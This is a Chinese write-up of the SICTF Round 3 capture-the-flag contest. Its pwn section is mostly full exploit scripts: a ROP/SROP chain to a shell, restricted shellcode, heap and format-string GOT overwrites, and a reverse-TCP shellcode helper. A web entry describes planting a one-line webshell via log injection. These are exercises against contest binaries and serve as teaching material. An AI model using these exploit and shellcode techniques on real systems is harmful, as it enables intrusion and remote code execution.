0%

2024SICTF ROUND3 wp

排名

rank10,总共做出22题

Pwn

TalkBoom

此题题目远程交互的时候会发给你gzip压缩过的elf文件,解压后得到talkboom的源文件,逆向后可以知道,只要输入对应的0x40字符串,就会有一次读入对应大小(0x100,0x30等),这里会产生栈溢出。

Untitled

Untitled

由于远程每次连接下发的elf都不一样,所以首先交互的字符串也都不一样,这里选择爆破它,指定一个固定的地址,然后每次获取这个地址的字符串,总有一次对应0x100的,这个时候就满足我们的payload。

栈溢出的利用手法:

ROPgadget可以发现有许多gadget,但是rdx不可控,但是有一次性的syscall(0x0000000000405335)。

Untitled

需要满足execve(”/bin/sh”, 0, 0),这里先通过这个一次性syscall,调用一次SROP,控制大部分寄存器之后,再通过SROP的rip控制为一次性的syscall地址,最后即可满足sys_execve的条件。

SROP链接:https://liuliuliuzy.github.io/2021-11-01-srop学习/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-18 14:00:08
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Desktop/CTF/competition/2024/SICTF/Talkroom/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
pop_rdi = CurrentGadgets.pop_rdi_ret()
pop_rsi = CurrentGadgets.pop_rsi_ret()
pop_rbp = CurrentGadgets.pop_rbp_ret()
pop_rax = 0x0000000000404df3
sh = 0x0000000000448184

syscall_onlyonce = 0x0000000000405335
bss_addr = 0x460200
magic = 0x4055B0
read_again = 0x404E8D
leave_ret = 0x000000000042f8eb

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def get_pwn():
import base64
import gzip
import shutil
ru("This is your Bomb: \n")
bomb = ru("Welcome. Now,you can talk with Sphinx. Good luck.", drop=True)
if not bomb:
log2_ex_highlight("empty error")
sleep(0.05)
with open("./bomb.gz", "wb") as file:
file.write(bomb[2:-2])
with open("./bomb.gz", "r") as file:
data = file.read()
data = base64.b64decode(data)
with open("./bomb.gz", "wb") as file:
file.write(data)
# 要解压的文件和解压后的文件路径
gz_filepath = './bomb.gz'
output_filepath = './bomb'
# 使用gzip打开压缩文件,并使用shutil复制到一个新的文件中
with gzip.open(gz_filepath, 'rb') as f_in:
with open(output_filepath, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
print(f'已解压: {gz_filepath}{output_filepath}')

from elftools.elf.elffile import ELFFile

def get_string_from_elf(file_path, offset):
with open(file_path, 'rb') as file:
elf = ELFFile(file)
string_data = ""
# 遍历所有的段(segments)
for segment in elf.iter_segments():
# 检查地址是否在当前segment的范围内
if segment['p_type'] == 'PT_LOAD': # 只有可加载的段才对应内存中的地址
start = segment['p_vaddr']
end = start + segment['p_memsz']

# 如果地址在该段的范围内
if offset >= start and offset < end:
# 计算文件中的偏移
file_offset = offset - start + segment['p_offset']
file.seek(file_offset)
# 读取字符串,直到遇到null字符
while True:
byte = file.read(1)
if byte == b'\x0a':
break
string_data += byte.decode('utf-8', errors='ignore')
return string_data
raise ValueError("Address not found in any segment.")

def pwn(local = False):
if not local:
# get_pwn()
file_path = './bomb'
address = 0x448380
else:
file_path = './pwn' # local
address = 0x448240 # local
# 读取字符串
extracted_string = get_string_from_elf(file_path, address)

if extracted_string is not None:
log2_ex(f'String at address {hex(address)}: {extracted_string}')
else:
log2_ex(f"No string found at address {hex(address)}")

sleep(0.05)
sl(extracted_string)

sleep(0.05)

sa("Hello?Are you okay??", flat([
b'a'*0x30,
0, # rbp
pop_rdi, 0,
pop_rsi, bss_addr,
read_again,
b'b'*0x38,
pop_rbp, bss_addr,
leave_ret
]))

sleep(0.05)

s(flat([
b'/bin/sh\x00',
pop_rax, 15,
syscall_onlyonce,
SROP(bss_addr, bss_addr+0x200, syscall_onlyonce)[:-0x18]
]))

sl("cat /flag")
flag = ru("}")
return flag

while True:
try:
get_pwn()
flag = pwn()
if flag != b'':
log2_ex_highlight(flag)
exit()
except (EOFError):
io.close()
gift.io = copy_current_io()
except TimeoutError:
io.close()
gift.io = copy_current_io()

"""
ru("Good luck.\n")

sl("TSORBKfHQMOiOKXoiUfbLpgAYSjKzsaQxzLJLwmHGcZqiRtnIZyszItXYUTZNZV")
# sl("TSORBKfHQMOiOKXoiUfbLpgAYSjKzsaQxzLJLwmHGcZqiRtnIZyszItXYUTZNZV")

# pause()

sa("Hello?Are you okay??", flat([
b'a'*0x30,
0, # rbp
pop_rdi, 0,
pop_rsi, bss_addr,
read_again,
b'b'*0x38,
pop_rbp, bss_addr,
leave_ret
]))

pause()
s(flat([
b'/bin/sh\x00',
pop_rax, 15,
syscall_onlyonce,
SROP(bss_addr, bss_addr+0x200, syscall_onlyonce)[:-0x18]
]))

ia()

"""

Bug_Zapper_Pro+

这题在Bug_Zapper的条件下 加上了仅可见字符的限制,使得要构造syscall之类的shellcode难度加大,需要用一些运算手法来处理,ADD,SUB,XOR等。

最大输入长度为0x10,是sys_ptrace在没有gdb attach的情况下返回是0,所以远程最大输入长度为0x10。

本地为了调试需要patch一下,直接把跳转条件给改了。

Untitled

调试的过程中发现仅有xor [rsp], edi这样子的内存修改是合法的,而且由于长度限制,最后改syscall不能push一字节,最后xor一次性改2bytes以上才能有效节省长度,所以用上了在可执行段自带的rax,

里面的0x114514FE0,这里中间的0x51和0x4F可以通过xor来获得0xf和0x5。

所以payload写成这样,感觉搓得非常极限,最后可以读入之后就随便写shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pad = """
push rax
xor [rsp], ah
pop rsi
xor [rsi+0x41-0x3], esi
push rbx
pop rax
push 0x50
pop rdx
"""
shellcode = asm(pad)

# pause()
sa("Feedback >>> ", shellcode + b'\x3f\x40\x54') # junk code + syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-17 11:53:25
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/Bug_Zapper_revenge/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

from ae64 import AE64

# """
# push rax
# pop rsi
# push 0x3c595941
# pop rdi
# sub [rsi], edi
# """
# pad = """
# push 0x55
# pop rbp
# push rax
# xor [rsp], ebp
# pop rsi
# xor [rsi+0x3b-0x3], esi
# push rbx
# pop rax
# """

# pause() # 0x10 bytes
pad = """
push rax
xor [rsp], ah
pop rsi
xor [rsi+0x41-0x3], esi
push rbx
pop rax
push 0x50
pop rdx
"""
shellcode = asm(pad)

# pause()
sa("Feedback >>> ", shellcode + b'\x3f\x40\x54') # junk code + syscall

pause()
s(flat([
ShellcodeMall.amd64.cat_flag.ljust(0x41, b'\x00'),
asm("""
mov rax, 0x114514faf
jmp rax
""")
]))

ia()

Eeeeasy_Cpp

唉c++,ubuntu22.04跑报错缺c++库,需要在docker里面起个ubuntu23.04里面才能跑。

漏洞点在于cin输入,可以通过\x00截断后面得字符串长度判断,从而达到任意长度输入导致栈溢出。

这里是strings类型输入,所以会在堆里,溢出会覆盖后面的堆,输入一定长度会发现它挂了。

仔细看后面覆盖的内容,可以发现后面有两个指针可以被覆盖,一个是vtable的指针,也就是跳转G和P的函数,另一个居然是name输入的地址…(原来是用堆存储的)

Untitled

将后一个指针改为got表的内容之后通过P即可泄露libc,然后再G即可修改got表内容,最后还有个后门函数,就可以控制RIP了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-16 18:04:14
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/ezcpp/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

#pause()
#sl(b"a\x00" + b'b'*0x20)

#pause()
ru("I'll give you a gift: ")
elf_base = int(rl()[:-1].decode(), 16) - 0x2650
log2_ex(hex(elf_base))

backdoor = elf_base + 0x22E0

sl("G")

sla("Enter your name: ", b'a'*8)

sla("Enter your password: ", b'b'*0x7 + b'\x00' + p64(backdoor)*0x2)

sl("G")

sla("Enter your name: ", b'a'*8)

sla("Enter your password: ", b'b'*0xf + b'\x00\x00' + b'c'*0xf + p64(elf_base + 0x4D48) + p64(elf_base + 0x5030))

sl("P")
pause()
#leak_libc = recv_current_libc_addr()
#log2_ex(hex(leak_libc))

#libc_base = leak_libc - (0x7f8ccc4a2fc0 - 0x7f8ccc31f000)
#log2_ex(hex(libc_base))

# got change
sl("G")

sla("Enter your name: ", p64(backdoor))

sla("Enter your password: ", b'11')

#sla("Enter your password: ", b'b'*0x10 + b'\x00' + b'c'*0xf + p64(elf_base + 0x4D48) + p64(libc_base + libc.sym['__environ']))

ia()

overflow

又是cin和string,开了canary,有后门

输入个0x100长度的a,发现它挂了。

Untitled

将rdi控制为bss区,然后就不会卡住了

但是在栈里发现:

Untitled

往我们的地方写入了,估计是覆盖了strings的指针导致任意写入了。

然后将这个指针改为__stack_chk_fail函数的got表,往里输入backdoor地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3                                                                                                                                                                                                        
# Use pwncli
# Date: 2024-02-17 11:50:23
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/overflow/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode__ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

pause()
sl(flat([
p64(0x4011D0)*2,
b'a'*0x80,
p64(0x404018) * 8
]))

ia()

Bug_Zapper

shellcode题了,最多输入0x10的shellcode,控制shellcode再读一次sys_read即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-16 14:36:19
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/Bug_Zapper/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

"""syscall 0x55 ~ 0x65"""

pad = """
xchg rax, rsi
mov dx, 0xff
syscall
"""

pause() # 6 bytes
s(asm(pad).ljust(0xb, b'\x00'))

s(b'a'*8 + ShellcodeMall.amd64.execve_bin_sh)

ia()

Easy_SI

格式化字符串漏洞盲打

友善的是远程版本为ubuntu22.04

leak完libc就摁打就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "yuanshen.life"
remote_port = "33000"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

sla("And now let's start the game!!!\n", "aaaaaaaa%p-%p-%p")

leak_libc = int(rl()[-15:-1].decode(), 16) - 0x607e2
log(hex(leak_libc))

sla("And now let's start the game!!!\n", "aaaaaaaa%p")

leak_rsi = int(rl()[-15:-1].decode(), 16)
log(hex(leak_rsi))

offset = 6

ogs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]

sla("And now let's start the game!!!\n", "aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p")

leak_libc = int(rl()[-15:-1].decode(), 16) - (0x7ffff7c29e40 - 0x7ffff7c00000)
log(hex(leak_libc))

sla("And now let's start the game!!!\n", flat([
fmtstr_payload(offset, {0x404018: leak_libc + ogs[1]}),
b'\x00'
]))

# sa("And now let's start the game!!!\n", flat([
# b"%7$s\x00\x00\x00\x00",
# 0x404018
# ]))

ia()

stack

漏洞点在于比较的时候比较1bytes,读入确是4bytes读入

Untitled

控制rip随便打了

Reverse

CloseMe

IDA动态调试,摁调之后就会发现最后的最后有一个神秘的异或

Untitled

得到一个hint:

1
Every time you close the messagebox by click `Yes` or `No`, it will be stored. Just choose Yes/No(1/0) in a certain order which is the flag, such as 01001

然后往上的这里有个逻辑是判断的

Untitled

v40为我们输入的字符串对应十六进制

然后还得调调 最后按这个顺序输入即可满足条件

最后包上SICTF{}

1
0110001111100101

SweetTofu

动态调试跟着跟着进入了一个xor函数

Untitled

异或一下就是flag

Ez_pyc

pycdc解密不了 发现python是3.8,配个anaconda就可以用decompyle3和uncompyle6等解密

decompyle3解密一下,然后改了改尝试爆破,最后发现不行,看上去很像9*9数独。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.13 (default, Mar 28 2022, 11:38:47)
# [GCC 7.5.0]
# Embedded file name: E:\CTF赛题\ez_pyc\233.py
# Compiled at: 2024-02-16 09:19:13
# Size of source mod 2**32: 1178 bytes
import hashlib

"""
# # # # # # # # # #
# 0 1 9 0 0 0 3 0 7
# 8 0 0 0 0 0 0 0 0
# 4 0 0 0 0 0 2 0 0
# 0 0 0 0 3 0 0 0 0
# 5 0 0 0 6 0 0 2 0
# 0 7 0 0 0 0 0 3 1
# 0 0 0 0 0 0 0 0 0
# 0 0 8 0 9 0 7 0 0
# 0 0 0 0 0 0 0 0 0

0 1 9 0 0 0 3 0 7
8 0 0 0 0 0 0 0 0
4 0 0 0 0 0 2 0 0
0 0 0 0 3 0 0 0 0
5 0 0 0 6 0 0 2 0
0 7 0 0 0 0 0 3 1
0 0 0 0 0 0 0 0 0
0 0 8 0 9 0 7 0 0
0 0 0 0 0 0 0 0 0

2456835127469673891564192578837194925486324875196156342796214853

2456835127469673891564192578837194925486324875196156342796214853

219456387835127469467389215641932578583761924972548631324875196158693742796214853

2 1 9 4 5 6 3 8 7
8 3 5 1 2 7 4 6 9
4 6 7 3 8 9 2 1 5
6 4 1 9 3 2 5 7 8
5 8 3 7 6 1 9 2 4
9 7 2 5 4 8 6 3 1
3 2 4 8 7 5 1 9 6
1 5 8 6 9 3 7 4 2
7 9 6 2 1 4 8 5 3

"""

k = [['#'] * 10,
[
'#', 0, 1, 9] + [0] * 3 + [3, 0, 7],
[
'#', 8] + [0] * 8,
[
'#', 4] + [0] * 5 + [2, 0, 0],
[
'#'] + [0] * 4 + [3] + [0] * 4,
[
'#', 5] + [0] * 3 + [6, 0, 0, 2, 0],
[
'#', 0, 7] + [0] * 5 + [3, 1],
[
'#'] + [0] * 9,
[
"'#'", 0, 0, 8, 0, 9, 0, 7, 0, 0],
[
'#'] + [0] * 9]
cnt = 0
s = str(2456835127469673891564192578837194925486324875196156342796214853) # 十六进制输入

try:
for x in s:
if x not in [str(t) for t in range(1, 10)]: # 这里判断1~9??
s[cnt + 43690] = 1 # error
else: # 所以输入都得是1~9 数字十六进制输入 byd数独
for i in range(1, len(k)):
for j in range(1, len(k[i])):
if k[i][j] == 0:
k[i][j] = int(s[cnt]) # fun 必须先填满
cnt += 1
else:
print(cnt)
print(k)
for i in range(1, len(k)):
for j in range(1, len(k)):
if j not in k[i]:
s[cnt + 3735928559] = 0
else:
for i in range(1, len(k)):
tmp = []
for j in range(1, len(k)):
tmp.append(k[j][i])

except Exception as e:
try:
pass
finally:
e = None
del e
# else:
# for j in range(1, len(k)):
# if j not in tmp:
# s[cnt + 3735928559] = 1
# else:
# for i in range(1, len(k), int(len(k) ** 0.5)):
# for j in range(1, len(k), int(len(k) ** 0.5)):
# square = [k[x][y] for x in range(i, i + 3) for y in iter((range(j, j + 3)))]
# for t in range(1, len(k)):
# if t not in tmp:
# s[cnt + 3735928559] = 2

# else:
# m = hashlib.md5(s.encode()).hexdigest()
# if m == '60b845d09f7b818a1e1e6cd0f4a04d96':
# print('SICTF{%s}' % m)
# else:
# print('试着换一种解嘞qwq')
# input()

# except Exception as e:
#
# try:
# pass
# finally:
# e = None
# del e
# okay decompiling ./ez_pyc.pyc

但是这个数独有很多解,找了个项目能爆数独

https://github.com/sanmusen214/solve_99sudoku

Battle City

我是游戏大师~

ArtBreaker

IDA缩放一下图形显示就有flag了

Baby_C++

明文flag

Untitled

Crypto

Vigenere

在线网站跑一下

Vigenere Solver | guballa.de

Untitled

SuperRSA

不互素的共模攻击

模板套一套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import libnum
import gmpy2

e1=55
e2=200
n= 19006830358118902392432453595802675566730850352890246995920642811967821259388009049803513102750594524106471709641202019832682438027312468849299985832675191795417160553379580813410722359089872519372049229233732405993062464286888889084640878784209014165871696882564834896322508054231777967011195636564463806270998326936161449009988434249178477100127347406759932149010712091376183710135615375272671888541233275415737155953323133439644529709898791881795186775830217884663044495979067807418758455237701315019683802437323177125493076113419739827430282311018083976114158159925450746712064639569301925672742186294237113199023
c1= 276245243658976720066605903875366763552720328374098965164676247771817997950424168480909517684516498439306387133611184795758628248588201187138612090081389226321683486308199743311842513053259894661221013008371261704678716150646764446208833447643781574516045641493770778735363586857160147826684394417412837449465273160781074676966630398315417741542529612480836572205781076576325382832502694868883931680720558621770570349864399879523171995953720198118660355479626037129047327185224203109006251809257919143284157354935005710902589809259500117996982503679601132486140677013625335552533104471327456798955341220640782369529
c2= 11734019659226247713821792108026989060106712358397514827024912309860741729438494689480531875833287268454669859568719053896346471360750027952226633173559594064466850413737504267807599435679616522026241111887294138123201104718849744300769676961585732810579953221056338076885840743126397063074940281522137794340822594577352361616598702143477379145284687427705913831885493512616944504612474278405909277188118896882441812469679494459216431405139478548192152811441169176134750079073317011232934250365454908280676079801770043968006983848495835089055956722848080915898151352242215210071011331098761828031786300276771001839021

_,s1,s2=gmpy2.gcdext(e1,e2)
print(s1, s2)
m1=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(m1)
x=gmpy2.gcd(e1,e2)
print(x)
k=0
while 1:
m11=m1+k*n
m,s=gmpy2.iroot(m11,x)
if s:
print(libnum.n2s(int(m)))
break
k+=1
print(k)

Misc

签到

Web

100%_upload

可目录穿越读到日志

Untitled

Untitled

日志注入写一句话马,蚁剑连接获取flag

Untitled

Blockchain

CheckinNewYear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: shu shao de xiao mi di
pragma solidity ^0.8.9;
contract HappyNewYear{
string private NewYear;
constructor(string memory _newyear ) {
NewYear = _newyear;
}
function happyNewYear(string memory _newYear) public payable {
require(uint160(msg.sender) |
2**16 * 3**3 * 5 * 7 * 13 * 17 * 19 * 37 * 73 * 97 * 109 * 241 * 257 * 433 * 577 * 673 * 38737 * 487824887233 ==
2**2 * 17 * 67 * 733 * 316139 * 18992431891 * 72887484710091183279372959
,"Not this Year");
NewYear = _newYear;
}

function isSolved() public view returns (bool){
require(keccak256(abi.encodePacked(NewYear)) == keccak256(abi.encodePacked("Happy")),"not HappyNewYear");
return true;
}

}

要求msg.sender是0x2024结尾的,爆一下地址就能找到,添加钱包之后remix ide发送Happy就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from eth_keys import keys
import os

def mine_eth_address(suffix):
found = False
while not found:
# Generate a new private key
private_key_bytes = os.urandom(32)
private_key = keys.PrivateKey(private_key_bytes)

# Get the corresponding public key
public_key = private_key.public_key

# Derive the Ethereum address from the public key
eth_address = public_key.to_checksum_address()

# Check if the address ends with the specified suffix
if eth_address.endswith(suffix):
found = True
print(f"Address: {eth_address}")
print(f"Private Key: {private_key}")
else:
print(f"Trying address {eth_address}...")

return eth_address, private_key

# Run the script with the desired suffix ('2024')
mine_eth_address('2024')

Forensics

OSINT签到

有椰子树,猜是海南

http://guoqing.china.com.cn/2018-10/11/content_65573660.htm

网上找到个差不多一样的

Untitled

树木的压迫

也是一样,网上找到差不多的图片

https://www.sohu.com/a/679307641_121687424

Untitled

标题为四川达州,打开百度地图仔细找一下类似体育场的就行

真的签到

抖音找到个类似的摩天轮

Untitled

打开地图在周围确认一下发现一样